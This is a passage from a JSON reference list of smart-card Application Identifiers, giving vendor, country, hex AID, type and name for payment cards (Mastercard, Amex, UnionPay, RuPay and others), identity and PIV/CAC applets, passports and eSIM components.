International", "Description": "MasterCard U.S. Maestro", "Country": "United States", "AID": "A0000000042203", "Type": "", "Name": "MasterCard Specific"}, {"Vendor": "Mastercard International", "Description": "MasterCard Specific", "Country": "United States", "AID": "A0000000043010", "Type": "EMV", "Name": "MasterCard Specific"}, {"Vendor": "Mastercard International", "Description": "Maestro (Debit) Card", "Country": "United States", "AID": "A0000000043060", "Type": "EMV", "Name": "Maestro (Debit)"}, {"Vendor": "Mastercard International", "Description": "Maestro (Debit) Card", "Country": "United States", "AID": "A000000004306001", "Type": "EMV", "Name": "Maestro (Debit)"}, {"Vendor": "Mastercard International", "Description": "MasterCard Specific", "Country": "United States", "AID": "A0000000044010", "Type": "EMV", "Name": "MasterCard Specific"}, {"Vendor": "Mastercard International", "Description": "MasterCard Specific", "Country": "United States", "AID": "A0000000045010", "Type": "EMV", "Name": "MasterCard Specific"}, {"Vendor": "Mastercard International", "Description": "AID on Cirrus Test Card", "Country": "United States", "AID": "A0000000045555", "Type": "", "Name": "APDULogger"}, {"Vendor": "Mastercard International", "Description": "Mastercard Cirrus (Interbank Network) ATM card only", "Country": "United States", "AID": "A0000000046000", "Type": "EMV", "Name": "Cirrus"}, {"Vendor": "Mastercard International", "Description": "Chip Authentication Protocol (CAP). Works with NatWest or SecureCode Aut", "Country": "United States", "AID": "A0000000048002", "Type": "EMV", "Name": "SecureCode Auth EMV-CAP"}, {"Vendor": "Mastercard International", "Description": "", "Country": "United States", "AID": "A0000000049999", "Type": "EMV", "Name": "MasterCard PayPass??"}, {"Vendor": "Switch Card Services Ltd.", "Description": "UK Domestic Maestro - Switch (debit card)", "Country": "United Kingdom", "AID": "A0000000050001", "Type": "EMV", "Name": "Maestro UK"}, {"Vendor": "Switch Card Services Ltd.", "Description": "UK Domestic Maestro - Switch (debit card)", "Country": "United Kingdom", "AID": "A0000000050002", "Type": "EMV", "Name": "Solo"}, {"Vendor": "ETSI", "Description": "Orange UK", "Country": "France", "AID": "A0000000090001FF44FF1289", "Type": "", "Name": "Orange"}, {"Vendor": "Europay International", "Description": "", "Country": "Belgium", "AID": "A0000000101030", "Type": "", "Name": "Maestro-CH"}, {"Vendor": "GEMPLUS", "Description": "", "Country": "France", "AID": "A00000001800", "Type": "", "Name": "Gemplus ?"}, {"Vendor": "GEMPLUS", "Description": "", "Country": "France", "AID": "A0000000181001", "Type": "", "Name": "com.gemplus.javacard.util packages"}, {"Vendor": "GEMPLUS", "Description": "434D = CM (ascii). Security domain for some GCX/GXP cards (GemXpresso Pro) (Gemalto)", "Country": "France", "AID": "A000000018434D", "Type": "GP", "Name": "Gemplus card manager"}, {"Vendor": "GEMPLUS", "Description": "(Gemalto)", "Country": "France", "AID": "A000000018434D00", "Type": "GP", "Name": "Gemplus Security Domain"}, {"Vendor": "Midland Bank Plc", "Description": "", "Country": "United Kingdom", "AID": "A00000002401", "Type": "EMV", "Name": "Self Service"}, {"Vendor": "American Express", "Description": "", "Country": "United Kingdom", "AID": "A000000025", "Type": "EMV", "Name": "American Express"}, {"Vendor": "American Express", "Description": "American Express (Credit/Debit)", "Country": "United Kingdom", "AID": "A0000000250000", "Type": "EMV", "Name": "American Express"}, {"Vendor": "American Express", "Description": "AEIPS-compliant (A-E contact EMV) payment application", "Country": "United Kingdom", "AID": "A00000002501", "Type": "EMV", "Name": "American Express"}, {"Vendor": "American Express", "Description": "", "Country": "United Kingdom", "AID": "A000000025010104", "Type": "", "Name": "American Express"}, {"Vendor": "American Express", "Description": "", "Country": "United Kingdom", "AID": "A000000025010402", "Type": "EMV", "Name": "American Express"}, {"Vendor": "American Express", "Description": "", "Country": "United Kingdom", "AID": "A000000025010701", "Type": "EMV", "Name": "ExpressPay"}, {"Vendor": "American Express", "Description": "", "Country": "United Kingdom", "AID": "A000000025010801", "Type": "EMV", "Name": "American Express"}, {"Vendor": "LINK Interchange Network Ltd", "Description": "Link (UK) ATM Network, or AMEX (Portugal?)", "Country": "United Kingdom", "AID": "A0000000291010", "Type": "EMV", "Name": "Link / American Express"}, {"Vendor": "LINK Interchange Network Ltd", "Description": "", "Country": "United Kingdom", "AID": "A00000002945087510100000", "Type": "", "Name": "CO-OP"}, {"Vendor": "LINK Interchange Network Ltd", "Description": "", "Country": "United Kingdom", "AID": "A00000002949034010100001", "Type": "", "Name": "HSBC"}, {"Vendor": "LINK Interchange Network Ltd", "Description": "", "Country": "United Kingdom", "AID": "A00000002949282010100000", "Type": "", "Name": "Barclay"}, {"Vendor": "LINK Interchange Network Ltd", "Description": "", "Country": "United Kingdom", "AID": "A000000029564182", "Type": "", "Name": "HAFX"}, {"Vendor": "Schlumberger Industries Identif d'Encarteur PR050", "Description": "Schlumberger (Gemalto) RID", "Country": "France", "AID": "A00000003029057000AD13100101FF", "Type": "", "Name": "BelPIC (Belgian Personal Identity Card) JavaCard Applet"}, {"Vendor": "Schlumberger Industries Identif d'Encarteur PR050", "Description": "", "Country": "France", "AID": "A0000000308000000000280101", "Type": "", "Name": "Gemalto .NET Card AID"}, {"Vendor": "Groupement des Cartes Bancaires \"CB\"", "Description": "Groupement des Cartes Bancaires (France)", "Country": "France", "AID": "A0000000421010", "Type": "EMV", "Name": "Cartes Bancaire EMV Card"}, {"Vendor": "Groupement des Cartes Bancaires \"CB\"", "Description": "", "Country": "France", "AID": "A0000000422010", "Type": "EMV", "Name": ""}, {"Vendor": "Groupement des Cartes Bancaires \"CB\"", "Description": "", "Country": "France", "AID": "A0000000423010", "Type": "EMV", "Name": ""}, {"Vendor": "Groupement des Cartes Bancaires \"CB\"", "Description": "", "Country": "France", "AID": "A0000000424010", "Type": "EMV", "Name": ""}, {"Vendor": "Groupement des Cartes Bancaires \"CB\"", "Description": "", "Country": "France", "AID": "A0000000425010", "Type": "EMV", "Name": ""}, {"Vendor": "Zentraler Kreditausschuss (ZKA)", "Description": "", "Country": "Germany", "AID": "A00000005945430100", "Type": "", "Name": "Girocard Electronic Cash"}, {"Vendor": "RSA Laboratories", "Description": "RSA PKCS-15 PKI application (Predecessor to ISO7816-15) / ID-card in Finland", "Country": "United States", "AID": "A000000063504B43532D3135", "Type": "", "Name": "PKCS-15"}, {"Vendor": "RSA Laboratories", "Description": "WAP (Wireless Application Protocol) Identity Module / Wireless Identification Module", "Country": "United States", "AID": "A0000000635741502D57494D", "Type": "", "Name": "WAP-WIM"}, {"Vendor": "JCB CO., LTD.", "Description": "Japan Credit Bureau", "Country": "Japan", "AID": "A00000006510", "Type": "EMV", "Name": "JCB"}, {"Vendor": "JCB CO., LTD.", "Description": "Japan Credit Bureau", "Country": "Japan", "AID": "A0000000651010", "Type": "EMV", "Name": "JCB J Smart Credit"}, {"Vendor": "Socit Europenne de Monnaie Electronique SEME", "Description": "", "Country": "France", "AID": "A00000006900", "Type": "EMV", "Name": "Moneo"}, {"Vendor": "Oberthur Technologies", "Description": "", "Country": "France", "AID": "A000000077010000021000000000003B", "Type": "EMV", "Name": "Visa AEPN"}, {"Vendor": "Activcard Europe S.A.", "Description": "Identity Key", "Country": "France", "AID": "A0000000790100", "Type": "", "Name": "CACv2 PKI ID"}, {"Vendor": "Activcard Europe S.A.", "Description": "Digital Signature Key", "Country": "France", "AID": "A0000000790101", "Type": "", "Name": "CACv2 PKI Sign"}, {"Vendor": "Activcard Europe S.A.", "Description": "Key Management Key", "Country": "France", "AID": "A0000000790102", "Type": "", "Name": "CACv2 PKI Enc"}, {"Vendor": "Activcard Europe S.A.", "Description": "Re-directs to CACv2 PKI Identity key", "Country": "France", "AID": "A00000007901F0", "Type": "", "Name": "CACv1 PKI Identity Key"}, {"Vendor": "Activcard Europe S.A.", "Description": "Re-directs to CACv2 Digital Signature key", "Country": "France", "AID": "A00000007901F1", "Type": "", "Name": "CACv1 PKI Digital Signature Key"}, {"Vendor": "Activcard Europe S.A.", "Description": "Re-directs to CACv2 Key Management key", "Country": "France", "AID": "A00000007901F2", "Type": "", "Name": "CACv1 PKI Key Management Key"}, {"Vendor": "Activcard Europe S.A.", "Description": "DoD Demographic", "Country": "France", "AID": "A0000000790200", "Type": "", "Name": "CACv2 DoD Person"}, {"Vendor": "Activcard Europe S.A.", "Description": "DoD Demographic", "Country": "France", "AID": "A0000000790201", "Type": "", "Name": "CACv2 DoD Personnel"}, {"Vendor": "Activcard Europe S.A.", "Description": "General Configuration", "Country": "France", "AID": "A00000007902FB", "Type": "", "Name": "CACv1 BC"}, {"Vendor": "Activcard Europe S.A.", "Description": "PKI Certificate Attributes", "Country": "France", "AID": "A00000007902FD", "Type": "", "Name": "CACv1 BC"}, {"Vendor": "Activcard Europe S.A.", "Description": "PKI Cert", "Country": "France", "AID": "A00000007902FE", "Type": "", "Name": "CACv1 BC"}, {"Vendor": "Activcard Europe S.A.", "Description": "CAC PIN / ID PIN Management Applet", "Country": "France", "AID": "A0000000790300", "Type": "", "Name": "CACv2 Access Control Applet"}, {"Vendor": "Activcard Europe S.A.", "Description": "Joint Data Model. BCAdmin", "Country": "France", "AID": "A0000000791201", "Type": "", "Name": "CAC JDM"}, {"Vendor": "Activcard Europe S.A.", "Description": "Joint Data Model. BCMedical", "Country": "France", "AID": "A0000000791202", "Type": "", "Name": "CAC JDM"}, {"Vendor": "Third Generation Partnership Project (3GPP)", "Description": "", "Country": "France", "AID": "A0000000871002FF49FF0589", "Type": "USIM", "Name": "Telenor USIM"}, {"Vendor": "Buypass AS", "Description": "Used by norwegian public betting company Norsk-Tipping?", "Country": "Norway", "AID": "A00000008810200105C100", "Type": "BuyPass", "Name": "BuyPass BIDA"}, {"Vendor": "Buypass AS", "Description": "", "Country": "Norway", "AID": "A000000088102201034221", "Type": "BuyPass", "Name": "BuyPass BEID (BuyPass Electronic ID?)"}, {"Vendor": "Buypass AS", "Description": "", "Country": "Norway", "AID": "A000000088102201034321", "Type": "BuyPass", "Name": "BuyPass BEID (BuyPass Electronic ID?)"}, {"Vendor": "Sa Proton World International N.V.", "Description": "Proton, which is owned in part by Visa International and American Express Co., is in three other European countries: the original Proton program in Belgium, Chipknip in the Netherlands, and Cash in Switzerland", "Country": "Belgium", "AID": "A0000000960200", "Type": "GP", "Name": "Proton World International Security Domain"}, {"Vendor": "Visa USA", "Description": "Bank of America Debit Card", "Country": "United States", "AID": "A000000098", "Type": "EMV", "Name": "Debit Card"}, {"Vendor": "Visa USA", "Description": "", "Country": "United States", "AID": "A0000000980840", "Type": "", "Name": "Visa Common Debit"}, {"Vendor": "Visa USA", "Description": "Schwab Bank Debit Card", "Country": "United States", "AID": "A0000000980848", "Type": "EMV", "Name": "Debit Card"}, {"Vendor": "Die Post Postfinance", "Description": "", "Country": "Switzerland", "AID": "A0000001110101", "Type": "", "Name": "Postcard"}, {"Vendor": "GSA - TFCS", "Description": "CHUID", "Country": "United States", "AID": "A0000001160300", "Type": "", "Name": "PIV CHUID"}, {"Vendor": "GSA - TFCS", "Description": "Fingerprints", "Country": "United States", "AID": "A0000001166010", "Type": "", "Name": "PIV Fingerprints"}, {"Vendor": "GSA - TFCS", "Description": "Facial Image", "Country": "United States", "AID": "A0000001166030", "Type": "", "Name": "PIV Facial Image"}, {"Vendor": "GSA - TFCS", "Description": "Security Object", "Country": "United States", "AID": "A0000001169000", "Type": "", "Name": "PIV Security Object"}, {"Vendor": "GSA - TFCS", "Description": "PIV Authentication Key", "Country": "United States", "AID": "A000000116A001", "Type": "", "Name": "PIV Authentication Key"}, {"Vendor": "GSA - TFCS", "Description": "Card Capability Container", "Country": "United States", "AID": "A000000116DB00", "Type": "", "Name": "CCC"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 1.3)", "Country": "Austria", "AID": "A000000118010000", "Type": "", "Name": "DF_Verkehr"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 1.3)", "Country": "Austria", "AID": "A000000118020000", "Type": "", "Name": "DF_Partner"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 1.3)", "Country": "Austria", "AID": "A000000118030000", "Type": "", "Name": "DF_Schlerdaten"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 1.32)", "Country": "Austria", "AID": "A000000118040000", "Type": "", "Name": "DF_KEP_SIG"}, {"Vendor": "Austria Card", "Description": "Digital Signature Application", "Country": "Austria", "AID": "A0000001184543", "Type": "", "Name": "Digital Signature (SSCA)"}, {"Vendor": "Austria Card", "Description": "Encryption Application (Version 1.10)", "Country": "Austria", "AID": "A000000118454E", "Type": "", "Name": "Encryption Application"}, {"Vendor": "PBS Danmark A/S", "Description": "Danish domestic debit card", "Country": "Denmark", "AID": "A0000001211010", "Type": "EMV", "Name": "Dankort (VISA GEM Vision)"}, {"Vendor": "Java Card Forum", "Description": "", "Country": "United States", "AID": "A0000001320001", "Type": "", "Name": "org.javacardforum.javacard.biometry"}, {"Vendor": "TDS TODOS DATA SYSTEM AB", "Description": "", "Country": "Sweden", "AID": "A0000001408001", "Type": "", "Name": "eCode"}, {"Vendor": "Associazione Bancaria Italiana", "Description": "CoGeBan Consorzio BANCOMAT (Italian domestic debit card)", "Country": "Italy", "AID": "A0000001410001", "Type": "EMV", "Name": "PagoBANCOMAT"}, {"Vendor": "GlobalPlatform, Inc.", "Description": "GP Card Manager", "Country": "United States", "AID": "A0000001510000", "Type": "GP", "Name": "Global Platform Security Domain AID"}, {"Vendor": "GlobalPlatform, Inc.", "Description": "SPCASD", "Country": "United States", "AID": "A00000015153504341534400", "Type": "GP", "Name": "CASD_AID"}, {"Vendor": "Diners Club International Ltd.", "Description": "Discover Card", "Country": "United States", "AID": "A0000001523010", "Type": "EMV", "Name": "Discover, Pulse D Pas"}, {"Vendor": "Diners Club International Ltd.", "Description": "Discover Debit Common Card", "Country": "United States", "AID": "A0000001524010", "Type": "EMV", "Name": "Discover"}, {"Vendor": "Banrisul - Banco do Estado do Rio Grande do SUL - S.A.", "Description": "Banrisul (Brazil)", "Country": "Brazil", "AID": "A0000001544442", "Type": "EMV", "Name": "Banricompras Debito"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001570010", "Type": "", "Name": "AMEX"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001570020", "Type": "", "Name": "MasterCard"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001570021", "Type": "", "Name": "Maestro"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001570022", "Type": "", "Name": "Maestro"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001570023", "Type": "", "Name": "CASH"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001570030", "Type": "", "Name": "VISA"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001570031", "Type": "", "Name": "VISA"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001570040", "Type": "", "Name": "JCB"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001570050", "Type": "", "Name": "Postcard"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001570051", "Type": "", "Name": "Postcard"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001570100", "Type": "", "Name": "MCard"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001570104", "Type": "", "Name": "MyOne"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001570109", "Type": "", "Name": "Mediamarkt Card"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A000000157010A", "Type": "", "Name": "Gift Card"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A000000157010B", "Type": "", "Name": "Bonuscard"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A000000157010C", "Type": "", "Name": "WIRCard"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A000000157010D", "Type": "", "Name": "Power Card"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001574443", "Type": "", "Name": "DINERS CLUB"}, {"Vendor": "Zhlke Engineering AG", "Description": "", "Country": "Switzerland", "AID": "A0000001574444", "Type": "", "Name": "Supercard Plus"}, {"Vendor": "IBM", "Description": "identify in JCOP-tools returns eg 27 34 01 2E 00 00 00 00 4E 58 37 35 31 41 00 03 28 62 B3 6A 82", "Country": "Germany", "AID": "A000000167413000FF", "Type": "JCOP", "Name": "JCOP Identify Applet"}, {"Vendor": "IBM", "Description": "?", "Country": "Germany", "AID": "A000000167413001", "Type": "", "Name": "FIPS 140-2"}, {"Vendor": "Financial Information Service Co. Ltd.", "Description": "The Bankers Association of the Republic of China", "Country": "Taiwan", "AID": "A000000172950001", "Type": "EMV", "Name": "BAROC Financial Application Taiwan"}, {"Vendor": "Ministre de L'Intrieur", "Description": "", "Country": "Belgium", "AID": "A000000177504B43532D3135", "Type": "", "Name": "BelPIC (Belgian Personal Identity Card)"}, {"Vendor": "Post Office Limited", "Description": "", "Country": "United Kingdom", "AID": "A0000001850002", "Type": "EMV", "Name": "UK Post Office Account card"}, {"Vendor": "Diners Club Switzerland Ltd", "Description": "", "Country": "Switzerland", "AID": "A0000001884443", "Type": "", "Name": "DINERS CLUB"}, {"Vendor": "Association for Payment Clearing Services", "Description": "", "Country": "United Kingdom", "AID": "A0000002040000", "Type": "", "Name": "?"}, {"Vendor": "Saudi Arabian Monetary Agency (SAMA)", "Description": "SPAN2 (Saudi Payments Network) - Saudi Arabia domestic credit/debit card (Saudi Arabia Monetary Agency)", "Country": "Kingdom of Saudi Arabia", "AID": "A0000002281010", "Type": "EMV", "Name": "SPAN (M/Chip)"}, {"Vendor": "Saudi Arabian Monetary Agency (SAMA)", "Description": "SPAN2 (Saudi Payments Network) - Saudi Arabia domestic credit/debit card (Saudi Arabia Monetary Agency)", "Country": "Kingdom of Saudi Arabia", "AID": "A0000002282010", "Type": "EMV", "Name": "SPAN (VIS)"}, {"Vendor": "Saudi Arabian Monetary Agency (SAMA)", "Description": "SPAN2 (Saudi Payments Network) - Saudi Arabia domestic credit/debit card (Saudi Arabia Monetary Agency)", "Country": "Kingdom of Saudi Arabia", "AID": "A00000022820101010", "Type": "", "Name": "SPAN"}, {"Vendor": "ISO JTC1/SC17/WG3", "Description": "Electronic (Biometric) Passport. Issuer stored data application (The last three digits of the PIX shall be used to denote future version levels.)", "Country": "United Kingdom", "AID": "A0000002471001", "Type": "MRTD", "Name": "Machine Readable Travel Documents (MRTD)"}, {"Vendor": "ISO JTC1/SC17/WG3", "Description": "Electronic (Biometric) Passport. Application for hashes, digital signature, and certificate (The last three digits of the PIX shall be used to denote future version levels.)", "Country": "United Kingdom", "AID": "A0000002472001", "Type": "MRTD", "Name": "Machine Readable Travel Documents (MRTD)"}, {"Vendor": "Interac Association", "Description": "Canadian domestic credit/debit card", "Country": "Canada", "AID": "A0000002771010", "Type": "EMV", "Name": "INTERAC"}, {"Vendor": "PS/SC Workgroup", "Description": "Possibly not an application...", "Country": "United States", "AID": "A00000030600000000000000", "Type": "", "Name": "PC/SC Initial access data AID"}, {"Vendor": "National Institute of Standards and Technology", "Description": "PIV End Point Applet. Last 2 bytes designate version?", "Country": "United States", "AID": "A000000308000010000100", "Type": "", "Name": "Personal Identity Verification (PIV) / ID-ONE PIV BIO"}, {"Vendor": "Currence Holding/PIN BV", "Description": "", "Country": "The Netherlands", "AID": "A00000031510100528", "Type": "EMV", "Name": "Currence PuC"}, {"Vendor": "Currence Holding/PIN BV", "Description": "", "Country": "The Netherlands", "AID": "A0000003156020", "Type": "EMV", "Name": "Chipknip"}, {"Vendor": "Identity Alliance", "Description": "http://osdir.com/ml/lib.muscle/2005-12/msg00066.html", "Country": "United States", "AID": "A00000032301", "Type": "", "Name": "MUSCLE Applet Package"}, {"Vendor": "Identity Alliance", "Description": "http://osdir.com/ml/lib.muscle/2005-12/msg00066.html", "Country": "United States", "AID": "A0000003230101", "Type": "", "Name": "MUSCLE Applet Instance"}, {"Vendor": "Discover Financial Services LLC", "Description": "", "Country": "United States", "AID": "A0000003241010", "Type": "", "Name": "Discover Expresspay (ZIP)"}, {"Vendor": "China Unionpay Co. Ltd", "Description": "", "Country": "China", "AID": "A000000333010101", "Type": "", "Name": "UnionPay Debit"}, {"Vendor": "China Unionpay Co. Ltd", "Description": "", "Country": "China", "AID": "A000000333010102", "Type": "", "Name": "UnionPay Credit"}, {"Vendor": "China Unionpay Co. Ltd", "Description": "", "Country": "China", "AID": "A000000333010103", "Type": "", "Name": "UnionPay Quasi Credit"}, {"Vendor": "China Unionpay Co. Ltd", "Description": "", "Country": "China", "AID": "A000000333010106", "Type": "", "Name": "UnionPay Electronic Cash"}, {"Vendor": "China Unionpay Co. Ltd", "Description": "", "Country": "China", "AID": "A000000333010108", "Type": "", "Name": "U.S. UnionPay Common Debit AID"}, {"Vendor": "Euro Alliance of Payment Schemes s.c.r.l. - EAPS", "Description": "Unknown", "Country": "Belgium", "AID": "A0000003591010", "Type": "", "Name": ""}, {"Vendor": "Euro Alliance of Payment Schemes s.c.r.l. - EAPS", "Description": "ZKA (Germany)", "Country": "Belgium", "AID": "A0000003591010028001", "Type": "EMV", "Name": "Girocard EAPS"}, {"Vendor": "Euro Alliance of Payment Schemes s.c.r.l. - EAPS", "Description": "PagoBANCOMAT", "Country": "Belgium", "AID": "A00000035910100380", "Type": "", "Name": ""}, {"Vendor": "Poste Italiane S.P.A", "Description": "", "Country": "Italy", "AID": "A0000003660001", "Type": "", "Name": "Postamat"}, {"Vendor": "Poste Italiane S.P.A", "Description": "", "Country": "Italy", "AID": "A0000003660002", "Type": "", "Name": "Postamat VISA"}, {"Vendor": "Interswitch Limited", "Description": "Nigerian local switch company", "Country": "Nigeria", "AID": "A0000003710001", "Type": "EMV", "Name": "InterSwitch Verve Card"}, {"Vendor": "NXP Semiconductors Germany GmbH", "Description": "NXP Mf4M", "Country": "Germany", "AID": "A0000003964D66344D0002", "Type": "", "Name": "MIFARE4MOBILE"}, {"Vendor": "Microsoft Corporation", "Description": "Identity Device With Microsoft Generic Profile application. 2 bytes can be added at the end. This byte must be set to the IDMP specification revision number which is currently 0x01. The second byte (yy) is reserved for use by the card application.", "Country": "United States", "AID": "A00000039742544659", "Type": "", "Name": "Microsoft IDMP AID"}, {"Vendor": "Microsoft Corporation", "Description": "MS Plug and Play", "Country": "United States", "AID": "A0000003974349445F0100", "Type": "", "Name": "Microsoft PNP AID"}, {"Vendor": "Unibanco (Hipercard)", "Description": "", "Country": "Brazil", "AID": "A0000004271010", "Type": "", "Name": "Hiperchip"}, {"Vendor": "100", "Description": "", "Country": "Russia", "AID": "A0000004320001", "Type": "", "Name": "Universal Electronic Card"}, {"Vendor": "Edenred", "Description": "", "Country": "Belgium", "AID": "A0000004360100", "Type": "", "Name": "Ticket Restaurant"}, {"Vendor": "ACCEL/Exchange", "Description": "The Exchange Network ATM Network", "Country": "United States", "AID": "A0000004391010", "Type": "", "Name": "Exchange ATM card"}, {"Vendor": "eTranzact", "Description": "Nigerian local switch company", "Country": "Nigeria", "AID": "A0000004540010", "Type": "EMV", "Name": "Etranzact Genesis Card"}, {"Vendor": "eTranzact", "Description": "Nigerian local switch company", "Country": "Nigeria", "AID": "A0000004540011", "Type": "EMV", "Name": "Etranzact Genesis Card 2"}, {"Vendor": "Google", "Description": "GOOGLE_LOCKET_AID", "Country": "United States", "AID": "A0000004762010", "Type": "", "Name": "GOOGLE_CONTROLLER_AID"}, {"Vendor": "Google", "Description": "", "Country": "United States", "AID": "A0000004763030", "Type": "", "Name": "GOOGLE_MIFARE_MANAGER_AID"}, {"Vendor": "Google", "Description": "", "Country": "United States", "AID": "A0000004766C", "Type": "EMV", "Name": "GOOGLE_PAYMENT_AID"}, {"Vendor": "Google", "Description": "", "Country": "United States", "AID": "A000000476A010", "Type": "GP", "Name": "GSD_MANAGER_AID"}, {"Vendor": "Google", "Description": "", "Country": "United States", "AID": "A000000476A110", "Type": "GP", "Name": "GSD_MANAGER_AID"}, {"Vendor": "JVL Ventures, LLC (Softcard)", "Description": "", "Country": "United States", "AID": "A000000485", "Type": "", "Name": "Softcard SmartTap"}, {"Vendor": "RuPay", "Description": "RuPay (India)", "Country": "India", "AID": "A0000005241010", "Type": "EMV", "Name": "RuPay"}, {"Vendor": "Yubico", "Description": "Universal 2-Factor Proof-of-concept/Demo", "Country": "Sweden", "AID": "A0000005271002", "Type": "YKNEO", "Name": "Yubikey NEO U2F Demo applet"}, {"Vendor": "Yubico", "Description": "Javacard Applet AID", "Country": "Sweden", "AID": "A000000527200101", "Type": "YKNEO", "Name": "Yubikey NEO Yubikey2 applet interface"}, {"Vendor": "Yubico", "Description": "Javacard Applet AID", "Country": "Sweden", "AID": "A000000527210101", "Type": "YKNEO", "Name": "Yubikey NEO OATH Applet"}, {"Vendor": "GSMA (GSM Association)", "Description": "", "Country": "United Kingdom", "AID": "A0000005591010FFFFFFFF8900000100", "Type": "", "Name": "ISD-R Application. Used as TAR."}, {"Vendor": "GSMA (GSM Association)", "Description": "", "Country": "United Kingdom", "AID": "A0000005591010FFFFFFFF8900000200", "Type": "", "Name": "ECASD Application. Used as TAR."}, {"Vendor": "GSMA (GSM Association)", "Description": "", "Country": "United Kingdom", "AID": "A0000005591010FFFFFFFF8900000D00", "Type": "", "Name": "ISD-P Executable Load File."}, {"Vendor": "GSMA (GSM Association)", "Description": "", "Country": "United Kingdom", "AID": "A0000005591010FFFFFFFF8900000E00", "Type": "", "Name": "ISD-P Executable Module."}, {"Vendor": "GSMA (GSM Association)", "Description": "", "Country": "United Kingdom", "AID": "A0000005591010FFFFFFFF8900000F00", "Type": "", "Name": "Reserved value for the Profile's ISD-P"}, {"Vendor": "GSMA (GSM Association)", "Description": "", "Country": "United Kingdom", "AID": "A0000005591010FFFFFFFF8900001000", "Type": "", "Name": "ISD-P Application ('1010FFFFFFFF89000010' to '1010FFFFFFFF8900FFFF'. Used as TAR. The value is allocated during the 'Profile Download and Installation procedure'"}, {"Vendor": "Fidesmo", "Description": "", "Country": "Sweden", "AID": "A00000061700", "Type": "", "Name": "Fidesmo javacard"}, {"Vendor": "Debit Network Alliance (DNA)", "Description": "Common U.S. Debit", "Country": "United States", "AID": "A0000006200620", "Type": "", "Name": "Debit Network Alliance (DNA)"}, {"Vendor": "MIR", "Description": "", "Country": "Russia", "AID": "A0000006581010", "Type": "", "Name": "MIR Credit"}, {"Vendor": "MIR", "Description": "", "Country": "Russia", "AID": "A0000006582010", "Type": "", "Name": "MIR Debit"}, {"Vendor": "TROY", "Description": "Turkey's Payment Method", "Country": "Turkey", "AID": "A0000006723010", "Type": "EMV", "Name": "TROY chip credit card"}, {"Vendor": "TROY", "Description": "Turkey's Payment Method", "Country": "Turkey", "AID": "A0000006723020", "Type": "EMV", "Name": "TROY chip debit card"}, {"Vendor": "Indian Oil Corporation Limited", "Description": "Indian Oils Pre Paid Program", "Country": "India", "AID": "A0000007705850", "Type": "EMV", "Name": "XTRAPOWER Fleet Card Program"}, {"Vendor": "MasterCard International", "Description": "Used for development", "Country": "United States", "AID": "B012345678", "Type": "EMV", "Name": "Maestro TEST"}, {"Vendor": "Paylife", "Description": "Domestic Payment System (Version 2.1)", "Country": "Austria", "AID": "D040000001000002", "Type": "", "Name": "Paylife Quick (IEP). Preloaded Electronic Purse"}, {"Vendor": "Austria Card", "Description": "Domestic Payment System (Version 2.1)", "Country": "Austria", "AID": "D040000002000002", "Type": "", "Name": "RFU"}, {"Vendor": "Austria Card", "Description": "Domestic Payment System (Version 2.1)", "Country": "Austria", "AID": "D040000003000002", "Type": "", "Name": "POS"}, {"Vendor": "Austria Card", "Description": "Domestic Payment System (Version 2.1)", "Country": "Austria", "AID": "D040000004000002", "Type": "", "Name": "ATM"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 2.1)", "Country": "Austria", "AID": "D04000000B000002", "Type": "", "Name": "Retail"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 2.1)", "Country": "Austria", "AID": "D04000000C000002", "Type": "", "Name": "Bank_Data"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 2.1)", "Country": "Austria", "AID": "D04000000D000002", "Type": "", "Name": "Shopping"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 2.0)", "Country": "Austria", "AID": "D040000013000001", "Type": "", "Name": "DF_UNI_Kepler1"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 1.3)", "Country": "Austria", "AID": "D040000013000001", "Type": "", "Name": "DF_Schler1"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 2.0)", "Country": "Austria", "AID": "D040000013000002", "Type": "", "Name": "DF_UNI_Kepler2"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 1.3)", "Country": "Austria", "AID": "D040000013000002", "Type": "", "Name": "DF_Schler2"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 2.0)", "Country": "Austria", "AID": "D040000014000001", "Type": "", "Name": "DF_Mensa"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 2.0)", "Country": "Austria", "AID": "D040000015000001", "Type": "", "Name": "DF_UNI_Ausweis"}, {"Vendor": "Austria Card", "Description": "Domestic Loyalty Program (Version 1.3)", "Country": "Austria", "AID": "D040000015000001", "Type": "", "Name": "DF_Ausweis"}, {"Vendor": "Austria 